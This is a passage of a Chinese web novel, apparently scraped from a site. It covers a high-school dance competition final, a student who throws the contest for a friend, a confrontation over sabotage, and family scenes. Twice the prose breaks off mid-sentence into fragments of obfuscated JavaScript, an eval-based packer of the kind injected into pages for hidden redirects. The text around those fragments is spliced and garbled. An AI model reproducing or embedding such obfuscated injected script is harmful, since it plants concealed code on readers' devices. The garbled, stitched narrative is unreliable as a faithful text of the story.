最终获得冠军的人,只会是她俩其中一个。 想到这些,汤振的思绪回到了现实中来。 “是啊,申雅丽人很好的,”汤振的身体微微前倾,靠近江悦,语气中带了几分深沉的感慨:“申雅丽是我读高一时的同学,虽然她人很好,但性格有些柔弱,以前老是被语文老师打压。这次顶着高三总复习的压力来参加艺术大赛,其实是因为她一直想报考艺术类专业,但去年和前年的艺术大赛,家里人都不允许她参加。” 汤振顿了顿,声音压得更低,确保每一个字都能精准地砸进江悦的心里,“这次申雅丽难得这么勇敢,如果今天的决赛她能拿第一,就可以去市里参赛,市级比赛再拿第一的话,考艺术类专业就能加分。她文化成绩年级第二,如果再算上额外加分,应该能考进很好的大学,读顶尖的艺术类专业。” 一连说了这长一串,汤振长舒了一口气,又摆出了一副轻松的表情,似乎只是寒暄了一些家常。 听完汤振的话,江悦陷入了长久的沉默,她转过头,目光深邃地穿过熙熙攘攘的人群,看向正在后台入口处调整呼吸的申雅丽。 “原来是这样,”江悦若有所思地点了点头,“雅丽学姐心地善良,实力又强,你有这么好的同学,也很幸运呀。” 汤振感到如释重负,眼神在江悦身上停留良久,才缓缓站起身来,准备走回观众席。 就在这时,一阵沉重而急促的高跟鞋声音迎面传来。 教导主任板着脸,像一阵极地寒风般,大步流星地走向地板上的那摊水渍。 “怎么回事?决赛马上开始了,你们刚才在吵什么!”教导主任的目光严厉地扫过众人,最后定格在汤振和丁航身上。 坐在后排的伍泓,立刻像弹簧一样站了起来,他抢先一步,声音颤抖地说道: “主任,没事。是我刚才走路不小心滑了一下,洒了点水。” 伍泓又看向丁航,继续道:“师弟刚才只是因为有点着急,才抓我衣领的,主任您别怪他,都是我不好,没拿稳水瓶。” 教导主任一听,顿时勃然大怒,声音冷若冰霜: “丁航!你长本事了是不是?在决赛现场,几百双眼睛看着,你居然敢公然殴打高三师兄,你眼里还有没有校规?实在是太没规矩了!” 教导主任目光一转,看向从江悦身边走过来的汤振,怒目道: “汤振!你刚才是不是也跟着掺和了,跑到选手区去干什么?快点过来!” 教导主任看向舞台上已经准备表演的参赛者,随即大手一挥,如同驱赶两只苍蝇一般。 “汤振、丁航,你们两个,立刻给我出去!决赛大厅决不允许你们这种破坏纪律的害群之马留在这里!” 丁航眼神慌乱,满脸通红,大喊道:“主任,您凭什么赶我走?我是为了保护班长!明明是伍泓先往班长身上泼水的,要不是我拦着,谁知道他还能干什么坏事!” “你还好意思说保护,”教导主任的语气中充满了不容置疑的绝对权威:“这里是浥鸣二中的礼堂,我亲自站在这里,外面还配备了专业的安保人员。怎么,我一个教导主任站在这里,还保护不了我的学生吗,需要你们用暴力来保护么,你说的这是什么话?你们两个,立刻给我出去!” 眼见教导主任大发雷霆,汤振知道此时顶嘴只会惹来更大的麻烦,于是拉了一把还在叫嚣的丁航,示意他乖乖就范。 虽然汤振丁航两人有百般的不愿和憋屈,但此刻也只能咬着牙,在全场学生异样的目光注视下,被安保人员半请半推地赶出了决赛大厅。 礼堂厚重的实木门,在两人身后重重地关上。 “咚”的一声闷响,将里面悠扬的开场音乐和温暖的空气,彻底与外面凛冽的寒风隔开来,礼堂里外,已然成为两个截然不同的世界。 上午的阳光虽然刺眼,但风依然像刀子一样刮在脸上,汤振把校服外套的拉链拉到最顶端,看着胸口还在起伏的丁航,无奈地叹了口气。 汤振走过去,一把抓着丁航的右臂,将他整个人硬生生拽到了一个避风的墙角。 “行了,别挣扎了,待会儿门上的油漆碰掉了,你还得赔钱,”汤振靠在墙上,盯着丁航那双充血的眼睛,郑重其事道:“我知道,你很想让江悦在今天的决赛里获胜。” 丁航停下动作,毫不犹豫地昂起头,“那当然了,她为了这个比赛,每次排练都竭尽全力,脚趾都磨破了好几层皮。付出了那么多,她必须拿第一,那个伍泓算什么东西……” 汤振微微眯起眼睛,目光锐利,打断道:“有件事我一直想跟你说,我知道你喜欢江悦,她很优秀。你自己心里也清楚,她是一个讲公平,讲道理的人。” 寒风顺着博学楼灌进来,吹在丁航无所适从的脸上。 听完汤振的话,丁航刚才那股嚣张的戾气瞬间萎靡了下去,脸颊上破天荒地泛起了一层微红。 丁航避开汤振极具穿透力的视线,看着走廊外的枯叶,极其别扭地低声“嗯”了一句,吞吞吐吐道:“是,我知道她优秀,所有人都知道。” “既然你知道她优秀,你也喜欢她,那你为什么不努力改变你自己,”汤振继续问道:“你为什么不努力成为她那样的人呢?你明明知道她最讨厌暴力,最讨厌嚣张跋扈,最讨厌不守规矩,你还偏偏这么毛躁,害我也被你连累。” 丁航稍稍愣住了,半天说不出一句反驳的话来,脸上浮现一阵难堪之色。 空气僵住片刻,丁航梗着脖子道:“这你就不懂了,有时候,两个人如果性格太像, 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汤振平复了片刻语气,回想了一下刚才和江悦交谈的场景,心里并不确定,但汤振还是强行开口道:“那我就赌申雅丽能拿第一吧。” 丁航嗤笑了一声,满脸的不可思议,“你疯了吧?江悦的实力碾压全场,上次复赛你又不是没看到。而且你很搞笑,你和我费劲心思保护班长这么久,你居然不希望她拿冠军?行,你要赌是吧?那我们就赌这个!如果我赌输了,我就主动放弃喜欢班长,把她让给你!” 汤振的眼神瞬间冷了下来,平静的表情变得极其严肃,“丁航,你搞清楚,心里真正喜欢的人,怎么能用来打赌呢?你把班长当成什么了,一件可以随手转让的商品吗,还是一件可以作为赌注的战利品?” 汤振又上前一步,威慑地逼视着丁航,“你这不仅是在侮辱你自己的感情,更是在极度地不尊重班长的人格。” 丁航呆呆地站在原地,嘴巴微张,胸口激烈地起伏。 汤振深吸了一口气,继续道:“而且,我要明明白白地告诉你,我不喜欢班长,我过去、现在,都不喜欢班长,我只是欣赏她的品格和对朋友的尊重。我不知道为什么,从开学第一天起,你就一直对我有这种莫名其妙的假想,一直看不惯我。” 丁航眼睛里的不服气渐渐平息下来,他喘了几口气,声音空洞道:“我,我没想那么多,只是看电影里经常有两个男生追一个女生……” 汤振打断道:“就是那种两个男生为了证明自己的魅力,去比赛追同一个女生的桥段?好像谁追到了,谁就是最后的赢家似的。你不觉得这根本就违背了爱情的初衷吗?我觉得你真的是电影看多了,才把我臆想成你的竞争对手。” 丁航咽下一口唾液,语气里满是疲惫:“可是班长每次都偏袒你。” “那你也不看看你之前每次有多离谱……” 汤振话音未落,礼堂大门内,就隐隐传来了广播播报的声音: “接下来,有请舞蹈组决赛选手,高三2班,申雅丽同学上场!” 汤振和丁航耳朵都快贴在了门上,只听得礼堂内一阵古典的音乐渐渐响起,观众随着音乐的节奏,一阵一阵地鼓起掌来。 里面的音乐声由舒缓到高亢,再由高亢到平缓,虽然看不见申雅丽的舞姿,但汤振的内心也跟着观众的欢呼和掌声一起紧张着。 十分钟后,台下的观众发出剧烈的欢呼,比之前的初赛和复赛热闹三倍。 汤振释然地舒了一口气,又和丁航一起趴在门上,继续听着礼堂内宣布着下一位选手上场: “有请舞蹈组决赛选手,高一3班,江悦同学上场!” 丁航激动得双手握拳,眼里满是期待地看着汤振,连忙将耳朵紧紧贴在礼堂大门上,恨不得听清里面的每一丝动静。 古典舞的音乐声渐渐响起,八分钟后,伴奏渐渐减弱,江悦一曲表演结束。 然而,礼堂里的掌声和欢呼声,却没有汤振想象的那样热烈。 丁航似乎也察觉到了不对劲,眼神中充满了疑惑。 这时,礼堂内又传出广播的声音,是评委准备发言了。 汤振和丁航立刻安静了下来,屏住呼吸,竖着耳朵,努力将楼外的风声屏蔽掉,用心听着礼堂内的广播声。 礼堂的广播里,模模糊糊传出评委厚重的声音,语气略带遗憾: “……非常遗憾,江悦同学,在刚才这支舞蹈的后半段,你漏掉了一个承上启下的核心环节,这在决赛中,是非常严重的失误。” 另一个评委的声音也悠悠传出: “所以,经过我们评委一致认定,江悦同学,你被淘汰了……” 丁航顿时如同晴天霹雳,靠着墙的身子软了下来,坐在了冰冷的地板上。 “这怎么可能,”丁航猛地抬起头,“我不信!” 丁航猛地起身,冲向礼堂大门,拉扯着冰冷的门把手。 “班长练了那么久,那么完美的动作,她闭着眼睛都能跳出来,怎么可能会漏掉?肯定是有人在台上害她,我要进去看看!” 丁航的声音回荡在礼堂外的大厅里,眼眶泛红,声音里夹着几分颤抖。 安保人员赶紧冲了过来,把丁航的手拉开。 汤振扶着丁航,心里泛起了一丝复杂的情绪,复杂到他难以说出口,也不敢对丁航说出口。 等丁航冷静片刻后,汤振平静地安慰道:“别敲了,丁航。要不待会儿等江悦出来,咱们再一起听听她会怎么解释吧。” 寒冷的大厅里,汤振静静地望着礼堂紧闭的大门,眼神中充满了对江悦深深的钦佩。 汤振心里松了一口气,扶着丁航坐在一旁的长椅上,耐心等待着决赛结束。 28. 台前幕后 随着一阵排山倒海的欢呼声,礼堂紧闭的厚重隔音门终于被工作人员从里面推开了。 被赶去场外的丁航和汤振,此刻像解除了封印的困兽,迫不及待地挤进了人声鼎沸的礼堂。 舞台上,颁奖典礼正在隆重进行。 在聚光灯下,申雅丽穿着那身古典舞的长裙,双手捧着那座象征着市级比赛入场券的奖杯,脸上有激动的点点泪光,不断地向台下的评委和观众鞠躬,单薄的肩膀也因为紧张和激动而轻轻颤抖着。 而在舞台侧下方的第一排选手席上,江悦静静地坐在那里,被淘汰的她脸上没有一丝一毫的失落与懊丧,她只微微抬着头,看向台上,用力地鼓着掌,眼里满是真诚的欣慰与释然。 丁航站在礼堂观众席之间的过道上,看着这一幕,红着双眼,大口大口地喘着气,他远远盯着江悦从容的背影,双手控制不住地捏成拳头。 “我不懂,”丁航咬着牙,带着幽怨的鼻音道:“江悦明明才是最好的。” 汤振走上前来,轻轻拍了拍丁航的肩膀,没有再说什么,只是平静地看向江悦。 两分钟过去,礼堂的喧嚣和精彩便告一段落了。 随后,评委老师、校领导依次上台发言,所有进入决赛的参赛选手都走上了舞台,一起合照,相机的闪光灯在台上交错闪烁,礼炮的彩带如流星雨一般撒落。 “咔嚓——咔嚓——” 浥鸣二中第四届“青春之声”校级艺术大赛圆满落幕。 正午时分,礼堂里的所有人逐渐散去,只剩下工作人员做着收尾的工作。 初冬的阳光略带暖意地洒落在通往食堂的路上,微风将地上的落叶吹去了道路两旁的路沿石下。 江悦已经卸完了妆,换回了那套合身的蓝白校服,和孟晓芸结伴走在前方,丁航和汤振则默不作声地跟在后面。 枯叶轻飘的沙沙声又响了起来,丁航终于按捺不住那股憋了两个小时的火,他快走两步,走到了江悦身边。 “班长,”丁航的语气里带着毫不掩饰的质问和心疼:“你告诉我,你今天到底是怎么回事,你怎么可能会漏掉重要环节呢?你还那么开心地替雅丽学姐鼓掌……” 江悦停下脚步,注视着眼前的丁航,他的双眼还带着一些血丝,表情闷闷不乐。 这次,江悦没有生气,只温和地轻叹了一声,反问道: “丁航,你觉得今天决赛的奖杯对我来说,意味着什么?” 丁航愣了一下:“意味着荣誉啊,意味着高考报艺术类专业可以加分,意味着你能更轻松地考上顶尖大学的艺术类专业!” “不,对别人来说才是那样。”江悦轻轻推了推鼻梁上的镜架,阳光在镜片上映射出绿色的光芒。 丁航抿嘴道:“那对你来说呢?” 江悦神色和缓了下来,浅笑一许,“其实,我从来都不想走艺术这条路,因为这条路很艰辛,并且也不是我最喜欢的。我最想做的,是文化课成绩拿高分,去平州大学读我最爱的哲学,那才是我真正想要攀登的高山。” 闻言,丁航点了点头,“之前上语文课的时候,你说过,你要考哲学系。” 江悦的目光越过丁航的肩膀,看向远处的教学楼,“这个艺术大赛的奖项,对我来说,只是一次自我满足的体验,但对于雅丽学姐来说,却是关键的一步棋,她的文化课已经考到年级第二了,如果能再拿到艺术类专业的加分,一定可以更轻松地考上顶尖高校的艺术类专业。” 丁航似懂非懂地“嗯”了一声:“好吧,可是我觉得这个奖项本身就很有价值。” “但是,我愿意把对我不重要,但对别人重要的东西,让给真正需要的人,”江悦的语气平静如常:“更何况,其实我哪怕不让着雅丽学姐,她也能拿下这个冠军,论实力,我还是觉得她比我强一点。雅丽学姐人那么好,看到她拿冠军,我也替她高兴。” 站在一旁的汤振听着这番话,心里的欣慰和惭愧夹杂着扰乱他的思绪。 其实,之前对于浩宁说的“赌性格”,就是赌江悦是否愿意在知情的情况下,将冠军让给更需要它的申雅丽。 现在如愿以偿,并且一切都是江悦自愿,哪怕班长承认申雅丽的实力比她更强,也声明自己确实不需要这个冠军,但惭愧的感觉还是在汤振内心扎根滋生起来。 想到这些,汤振又看向丁航,或许在场的几人中,只有丁航的心情是最差的了。 只见丁航呆站在原地,有些欲言又止的样子。 江悦看着眼前的丁航,语气忽然变得不置可否。 “丁航,我知道你心里在想什么,我也看到了你这段时间为了维护我所做的改变。但是,我们之间是不可能的。” 丁航身体猛地僵在原地,一脸失魂落魄的样子。 江悦却并不打算停下来,继续说道:“除了因为高中禁止谈恋爱以外,更重要的是,我现在的世界里只有书和分数,我觉得,现在专心为自己的目标付出,才有意义。我没有多余的精力去安抚别人的情绪,也没有时间去经营一段感情。你如果强行靠近我,只会让我们俩更加形同陌路。你明白吗?” 这些话,没有任何的拖泥带水,从江悦口中一字不顿地说了出来。 丁航低着头,脸颊复又红了起来。 去往食堂的人群将安静的气氛冲破,江悦和孟晓芸继续朝食堂走去,汤振也走上前来,扶着丁航的肩膀,把他往前面推去。 丁航迈着沉重的步伐,深深地呼了一口气,抬起头,眼神里的戾气变成了前所未有的清朗和释然。 “我明白了,班长,”丁航的声音有些沙哑:“祝你考上平州大学哲学系。” 四人行至食堂楼下,丁航侧过头,看向一旁的汤振。 “于浩磊,”丁航的语气里带了勇气和坦荡:“以前是我心胸狭隘,总觉得你自以为是,总觉得你喜欢……我知道,是我误会你了,我,我现在正式向你道歉,对不起。” 江悦和孟晓芸也停下了脚步,看向丁航和汤振。 汤振尤为轻松地笑了一下,“好,我接受你的道歉。” 丁航抿着嘴,不好意思地点了点头。 汤振扶着丁航的后背,“走走走,快去楼上占位置了,少在这儿酸不拉叽的。以后你少抄点作业,比什么都强。” 江悦笑道:“好啦,以前的误会解开了就好,快上去吃饭吧。” 在食堂找到于浩宁后,汤振挑了食堂三楼最角落的一张桌子,拉上另外三人一起,穿过熙熙攘攘的人群,挤到桌子前坐了下来,开始轻松地享受午餐时间。 “来,”汤振举起矿泉水瓶,“恭喜班长,体验了一把艺术大赛的快乐!” “恭喜班长——” 矿泉水瓶碰撞的声音,让大家的脸上都挂满了笑容。 在一阵愉快的氛围里,这顿午饭吃得格外美味,几个人一粒米也没有剩下。 下午一点钟,食堂里的喧闹声逐渐平息,只剩下“哐哐”回收餐盘的声音。 吃完午饭,汤振想和于浩宁去趟食堂楼下的小卖部,于是丁航便先陪着江悦和孟晓芸往教室走去了。 汤振和于浩宁端着餐盘,正往餐具回收处走去。 就在这时,汤振敏锐的余光捕捉到了一个熟悉的身影。 在食堂最边缘的楼梯口旁,伍泓独自一人端着餐盘,走向餐具回收处。 汤振能从伍泓的餐盘里看出,他只吃了几个素菜和一碗米饭,连一丝荤腥也无。 “呃,于浩宁,你先回教室吧,”汤振转头道:“我找伍泓有点话说。” 于浩宁伸着脖子看了看远处的伍泓,朝汤振道:“行,那你先去吧,我去小卖部帮你把酸奶买了。不过你和伍泓聊天的时候,稍微注意点儿,别暴露了。” “你放心,那我先过去了。” 说完,汤振将餐盘往回收桶里一扔,便转身朝着伍泓的方向迅速跟了上去。 由于大多数学生已经吃完离开,此刻食堂大厅的灯光已经熄灭了一半,尽管今天中午天气稍暖,但食堂里的光线仍然有些昏暗。 汤振行至伍泓身边,“怎么吃得这么素?” 刚放完餐具的伍泓的脚步一顿,转过身,看到了站在身旁的汤振。 伍泓脸上顿时浮现出温文尔雅的笑容,“只是因为我觉得食堂的菜太腻了,吃不惯而已嘛。哦……对了,今天上午的决赛,江悦发生了那么大的失误,你好好安慰一下她吧,毕竟明年和后年她还能报名参加。” “这个倒不用,”汤振语气坚定:“你就只关心这个事儿吗?” 冷不丁被这么一问,伍泓脸色一时未反应过来,过了几秒,才吞吞吐吐地开口道: “哦……除了比赛的事情,我还想问一下你呢,之前你说你有些失忆的症状,最近呢,恢复得怎么样了?” “还行吧。”汤振低低答道,目不转睛地盯着伍泓。 伍泓的微笑恰到好处,“那你有没有想起,你失踪那天到底发生了什么呀?” 汤振双手插兜,慵懒地耸了耸肩,“没有,失踪那天的事情,我什么都想不起来了。” 两人缓缓走向楼梯口,一步一步,朝台阶下面走去。 “那太可惜了,”伍泓叹了口气,又道:“否则的话,凭你的聪明才智,说不定也能顺藤摸瓜,知道一些失踪原因的细节呢。” “都是过去的事了,也没什么好可惜的。”汤振回应道。 说完,汤振站直了身体,停下脚步,慵懒的表情尽数消失,转而用锋利的眼神看向伍泓,问道: “你真正觉得可惜的,应该是复赛那天,没能成功用颜料淘汰掉江悦吧?” 听到这样的质问,伍泓温文尔雅的脸庞瞬间僵住,整个人怔在楼梯台阶上,微张着嘴,似乎正想说些什么。 汤振根本不给伍泓回答的时间,继续道:“复赛那天,你刻意拉我去走廊外面闲聊,把我支开了五分钟,不就是为了配合陈蓉萱,给她争取泼颜料的时间吗?” “我……”伍泓正要开口。 汤振打断道:“还有今天早上,你又想故技重施,还假装什么脚滑,把水洒到江悦脸上,你想毁了她的妆容还是她的心态?但也很可惜,你又失败了,因为你千算万算,没算到申雅丽居然提前给江悦喷了定妆喷雾。” 汤振的声音,将伍泓压迫得不由自主地后退了半步。 伍泓的后背碰到了冰冷的楼梯扶手上,他的呼吸变得急促,“我没有!” “你先别否认,”汤振的眼神里满是鄙夷,一字一句道:“至于你为什么要和陈蓉萱联手呢?我猜,应该是海选那天,你在后台听到了陈蓉萱和江悦吵架,你笃定她俩之间有矛盾,所以,你就选定了陈蓉萱作为合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她知不知道无所谓!倒是你,我真的很想问你一句,你为什么不去帮一个暗恋你的女生,反而去帮一个刚认识三个多月的江悦,还像条疯狗一样来咬我这个两年的老朋友?” 汤振竖起食指,怒声道:“好,我告诉你!第一,这是两码事,我做事只讲比赛的规矩和底线,不讲谁暗恋谁!” 汤振又竖起中指,“第二,你凭什么就认为,我帮的是江悦,而不是申雅丽?” 这句话,汤振说得极为用力,几乎咬紧了牙关,声音在空无一人的楼道里回响。 伍泓愣住,倒吸一口气,问道:“你这话是什么意思,你从头到尾,不就是帮的江悦吗?” 汤振冷笑一声,“以你年级第一的智商,还看不出来吗?你以为申雅丽今天的冠军,是你用手段替她扫清障碍得来的吗,你就真的不觉得申雅丽本身的实力就很强吗?” 汤振持续加重着声音:“你知不知道今天决赛的时候,为什么江悦会漏掉一整段核心舞步?她闭着眼睛都不会跳错的动作,为什么偏偏会在决赛时失误?” 伍泓的双眼失了神,望着汤振瞳孔反光中的自己。 汤振的声音犹如一记重锤:“因为那根本不是失误,是江悦故意漏跳的,她知道冠军奖项对申雅丽的重要性,也知道申雅丽的实力,所以她索性放弃,并且也替申雅丽感到开心。而你那点肮脏下作的手段,就是一个可笑的弱智游戏,你不仅没有帮到申雅丽,反而差点毁了她堂堂正正拿冠军的机会!” 伍泓一时哑口无言,后背紧紧贴在冰冷的墙上,脸色铁青,呆滞地盯着汤振。 对视片刻,伍泓咬着牙,努力回应道:“所以……你其实知道江悦会让着申雅丽,就等于你也在变相地帮申雅丽拿冠军。于浩磊,你敢说,你心里一点都不喜欢申雅丽吗?” 对于这种近乎死缠烂打的无聊问题,汤振想要扭头就走,不愿再跟伍泓说一句话。 但是,汤振还是犹豫了。 或许,申雅丽确实暗恋于浩磊,但是……于浩磊啊于浩磊,你是否也暗恋申雅丽呢? 汤振记得,语文老师曾在课堂上讲过,阅读理解想要考查的,是大家能否在给定的语境里精准提取信息。 但此时此刻,汤振仍然无法从现有的信息里判断出一分一毫。 所以,汤振不想,也不敢替于浩磊做决定,他只能确定于浩磊和申雅丽没有在一起,但于浩磊心里到底是怎么想的,他便无从得知了。 这样想着,汤振的语气也缓和了几分,眉头微蹙道:“伍泓,你能不能把脑子里那些狭隘的废料清一清,不要把纯粹的友情等同于你内心自私的爱情?” 伍泓低低喘着气,呼吸渐渐平稳下来,他摇了摇头,像是在强行压着心里的情绪。 汤振亦无言,神色渐渐沉稳下来,和伍泓在空旷的楼道里对视着。 僵持片刻,伍泓麻木的声音打破了凝固的空气:“希望你能学会珍惜,学会尊重别人对你的感情。” 说完,伍泓眼神一凛,愤然转身,又回头甩下一句话: “于浩磊,也希望你还是像从前那样清高。” 说完,伍泓便转过头,加快了步子朝楼下走去,脚步声回荡在楼道内,一阵一阵撞着汤振的耳膜。 等汤振再向下看去,伍泓的身影已经彻底消失在了转角处。 楼道的凉意让汤振后背一阵发麻,他看了一眼窗外被云层遮住的阳光,无力地迈开步子,走下了楼梯。 29. 机器里的秘密 夜色深沉,寒风如一把钝刀,刮擦着老城区建筑物斑驳的墙皮。 伍泓眼神无力地走在街头,中午和汤振在食堂的那场言语交锋,已经过去了八个多小时。 不知道下午和晚自习伍泓是带着怎样的心情度过的,他只默默低着头,沿着地砖凹凸不平的人行道,走到了一家餐馆前面,时间已是晚上九点半。 餐厅外墙脱落的地方,用写着价格的泡沫板遮挡住,门面顶端有一个收缩着的深蓝色可伸缩雨棚,卷帘门紧闭,只有一扇小门半掩着,里面隐隐约约传出电视机的声音。 伍泓抬眉,看了看头顶布满水渍的“伍记快餐”招牌,推开了一旁半掩着的小门。 门轴发出刺耳的“吱嘎”声,一股淡淡的洗洁精气味在开门的瞬间朝伍泓扑鼻而来。 “小泓回来了,外面冷吧?快把门关上。” 餐馆内,简易收银台后面,一个系着围裙的中年女人朝伍泓打着招呼,她的头发略微凌乱,稍显忙碌的样子。 “对,妈,我回来了。”伍泓回应道。 进了餐馆,伍泓眼底的阴霾消失不见,他放下书包,自然地挽起袖子,拿起抹布开始清理桌面上的残羹冷炙。 “你别弄了,赶紧去看书,高三了,时间多宝贵呀。”母亲带着疲惫的笑容,抢过伍泓手里的抹布放到一旁,在围裙上顺便擦了两下手。 随后,母亲从收银台的抽屉深处摸出一个用崭新牛皮纸信封,小心翼翼递给伍泓。 “这是你爸今天刚从工地上寄回来的钱,一共两千块,都是他辛辛苦苦存的,”母亲的眼神虽然带着倦意,但也透着亮光,“你算算今天的账,然后把这钱一起记上,明天妈就拿去存进银行。” 伍泓接过信封,将里面的二十张百元钞票抽出半截,看了一眼,又轻轻塞回去,手指上沾了一点干涸的水泥灰。 “好,谢谢爸妈。”伍泓朝着母亲笑道。 伍泓拿着信封,行至书桌前,坐到了昏黄的台灯下,翻开那本账簿,核对着今天的营业额。 一笔笔几块和十几块的快餐钱加起来,再减去进货的成本…… 忽然,伍泓的手指在计算器按键上停住,他看着那个刺眼的负数,眉头紧紧地拧在了一起。 “妈,今天怎么还亏了八十多,”伍泓转过头,困惑地看着正在拖地的母亲,问道:“我看账本上写的,今天中午还接了十几份盒饭订单,是一个旅行团的。” 母亲停下了拖地的动作,撑着腰叹了口气道:“是接了那么多订单,但今天去菜市场进货的时候,那几家便宜的店卖的肉不太新鲜,我就去其他地方卖了点贵的,油也是一直用的牌子货。成本上去了,价格又不敢涨,怕街坊不来吃,今天不就亏了一点嘛……” 伍泓看着母亲写满风霜的脸,语气加重几许:“妈,既然别人都吃不出区别,你用那么好原料干嘛?旁边那家‘胖哥炒饭’,用的都是最便宜的冻肉和勾兑油,人家一天纯利润是咱们的几倍。” “嘘,”母亲放下拖把,噤声道:“小泓,妈不是从小就告诉你,做人要对得起自己的良心吗?万一用差的食材把客人肚子吃坏了,那咱们起早贪黑经营起来的这十几年的信誉,不就全毁了吗?” 伍泓深深地吸了一口气,将装着现金的信封给母亲递了回去,“妈,这钱你拿着补贴家用吧,店里不能总亏着。” 母亲接过信封,神色还未从刚才那番话里缓过来。 伍泓的表情已然恢复了体贴和冷静,沉沉道:“我最近在学校,给几个师弟辅导功课,他们家里有钱,私下给了我不少辅导费,我钱够用。” “真的?”母亲半信半疑。 看着伍泓懂事的脸,母亲眼角堆出了欣慰的皱纹,她将信封贴身收好,笑道:“那这钱妈先帮你存着,你再努努力,考上平州大学。在中部地区的大城市,学费和生活费可不便宜呢,咱们得多攒点。” 伍泓点点头,站起身,把母亲扶向卧室,“妈,你先去睡吧,剩下的这点儿桌子,我一个人收拾就行了,你明天还要早起去进货。” 母亲刚要打开卧室门,又回过头,停下了脚步,看着在昏黄灯光下显得有些阴郁的伍泓。 “小泓,你今晚看起来心情不太好,脸色怎么这么差,是最近压力太大了吗?”母亲关切地问道。 伍泓微笑的面容里透露着几分疲倦,“没有,妈,只是今天遇到了一道复杂的数学题而已,我想了一下午,都没解出来。” “哦,”母亲神色放松,语气里充满关爱:“没事,慢慢来。你那么聪明,总会解出来的,别给自己太大压力了。” 伍泓轻轻扶着母亲的后背和手臂,用单手推开了卧室门,乖巧道:“知道了,妈。我今天遇到的这道题呀,慢慢解是解不出来的。” 卧室的白炽灯“啪嗒”一声打开,伍泓扶着母亲坐下,转回头继续擦拭着木桌上的污渍,声音低沉:“常规的办法好像搞不定,恐怕要下猛料了。” 母亲坐在床沿,转过脸,看向房门外的伍泓,问道:“下什么猛料?” 伍泓轻松地笑道:“没事,妈,我开玩笑呢。我说,这桌子得用猛一点的清洁剂才擦得干净。妈,你快睡吧。” 说完,伍泓便轻轻将卧室房门关上,脸上的表情渐渐恢复如常,他目光如炬,如冰冻般盯着桌面上那块擦不掉的污渍,将抹布顶在指尖,用力地,来回摩擦。 在宁静的夜色中,“伍记快餐”招牌上的灯光闪了几下,渐渐熄灭了。 汤振和于浩宁卧室的灯光,在夜幕下的街道上,显得格外亮眼。 卧室里,温暖的空气中弥漫着一丝沐浴露的清香。 于浩宁穿着睡衣,盘腿坐在床上,手里压着一个抱枕,看着旁边一脸郁闷地收拾书包的汤振。 “复赛结束那天,你跟我说要赌班长的性格,到底是什么意思?”于浩宁开口问道。 汤振随手将书包扔在了椅子上,爬上床,打了个哈欠道:“我就是赌班长愿不愿意在决赛的时候让一让申雅丽,因为我也希望最后得冠军的人是申雅丽。” 说完,汤振伸出手,按下了墙上的开关,卧室里,瞬间布满了月光和树枝的倒影。 “为什么你这么希望雅丽学姐拿冠军?”于浩宁问道。 汤振叹了口气,“我就是……就是觉得申雅丽人挺不错的,刚好她又很需要这个冠军,可以实现她的艺术梦想。其实我也说不清楚自己到底是怎么想的,可能是因为我真的把自己代入你哥的视角了吧,我在想,你哥应该也会希望自己的好朋友拿到冠军。” 于浩宁也躺了下来,“那你不是成功了嘛,今天上午的决赛,确实是雅丽学姐得了冠军,怎么你现在看起来这么郁闷?” 汤振双手交叉枕在后脑勺下,望着天花板道:“今天中午看到申雅丽领冠军奖杯的时候,我突然觉得有点不好意思,因为我发现自己低估了申雅丽的实力,就连班长也说,申雅丽跳得其实更好,根本不需要让班长专门让一手。” 汤振的将双腿交叉,一边回忆一边继续说道:“其实就算班长不让着她,她也能凭实力拿下那个冠军,我自作聪明去搞这么一出戏,反而像是平白无故侮辱了申雅丽的实力,也辜负了班长的汗水。” 说到这里,汤振扭过头,看向卧室另一侧的于浩宁,“你说,我有时候是不是真的喜欢找一些多余的事情来做?” “是吗,”于浩宁也把脸转向汤振那边,答道:“我觉得,只要大家都乐意,就没什么吧……” 话音未落,“砰砰砰”的敲门声响起。 “浩宁,浩磊,睡了吗?”许艺岚的声音在门外响起。 汤振连忙回应道:“还没睡呢,妈,门没锁,你直接进来吧。” 许艺岚轻轻推开门走了进来,身上的居家休闲睡衣和脸上的疲劳神色显得格格不入。 “妈,有什么事呀?”于浩宁又坐了起来,看向门口。 “是这样的,”许艺岚笑道:“最近公司特别忙,可能连周末都要出差,如果疏忽了你俩的饮食起居,你们要记得照顾好自己和爸爸哦。” “没事妈,我都高一了,别担心。”于浩宁侧头回应道。 汤振亦道:“在家的时候我们会好好照顾爸的,我看爸的腿最近也比两个月前好多了。” 许艺岚笑了笑,眼神一如既往地温柔,“好呀。妈还想着,马上就一月份了,月底的期末考试完了就放寒假,总不能让你们一直在家里憋着。妈想好了,等忙完最关键的那段时间,咱们一家四口,去南方的城市度假,也希望能让你们爸爸的腿康复快一点。你俩有没有什么特别想去的地方?我好提前安排。” 汤振神色欣喜,从床上坐了起来,“去南方呀?” “对呀,”许艺岚笑道:“你之前不是说冬天想去南方游泳么?” 于浩宁抢言道:“行,妈,我和哥商量几天,正好地理书上介绍了好多国内的地方,我们都想去呢!” 许艺岚点点头,“那行!到时候咱们去玩一个星期,等你们期末考试考完,再看行程。” “好耶,我要去吃咖喱蟹!”于浩宁欢呼雀跃道。 “行,妈,到时候我和浩宁会照顾好爸的。”汤振语气稳重地说道。 许艺岚拉着门把手,“行了,你俩早点睡吧。晚安。” 卧室门被轻轻关上,周围又陷入了一片静谧。 汤振躺了下来,看着窗外的星空,似乎能感受到南半球的暖风,正在一缕缕将自己包裹起来。 这一个多月以来,从开始报名,到今天的决赛,艺术大赛这件事总算是告一段落了,汤振带着沉重的疲惫感,恍惚地进入了梦境中。 又一个星期过去,新年的钟声敲响,时间进入了一月份。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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塞入纸张后,丁航没有按任何按钮,也没有看退币口,而是朝四周警惕地环视一圈,转身快步离开了博学楼,朝汤振的方向小跑过来。 汤振将自己掩蔽在柱子后面,看着丁航远远跑回了教学楼。 